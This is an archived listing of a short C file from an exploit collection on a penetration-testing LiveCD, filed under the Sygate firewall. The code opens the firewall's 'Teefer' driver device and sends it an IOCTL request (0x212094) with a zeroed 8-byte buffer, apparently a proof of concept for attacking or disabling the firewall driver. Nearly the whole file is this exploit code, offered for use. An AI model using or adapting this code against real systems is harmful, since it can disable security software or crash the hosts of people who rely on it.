home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / sygate / sygateFW.txt < prev   
Text File  |  2005-02-12  |  555b  |  30 lines

  1.  
  2.     hDevice = CreateFile("\\\\.\\Teefer", GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
  3.              NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  4.  
  5.      if(hDevice == INVALID_HANDLE_VALUE)
  6.     {
  7.         printf("Open failed\n");
  8.     }
  9.     else
  10.     {
  11.         printf("Device opened.\n");
  12.                                         
  13.         char buffer[8];
  14.         DWORD *ptr = (DWORD *)buffer;
  15.         DWORD *ptr2 = (DWORD *)(buffer + 4);
  16.         DWORD ret;
  17.  
  18.         *ptr = 0;
  19.         *ptr2 = 0;
  20.             
  21.         if(DeviceIoControl(hDevice, 0x212094, buffer, 8, buffer, 8, &ret, 0))
  22.             printf("Sent.\n");
  23.                                                 
  24.         CloseHandle(hDevice);
  25.     }
  26.  
  27.  
  28.  
  29.  
  30.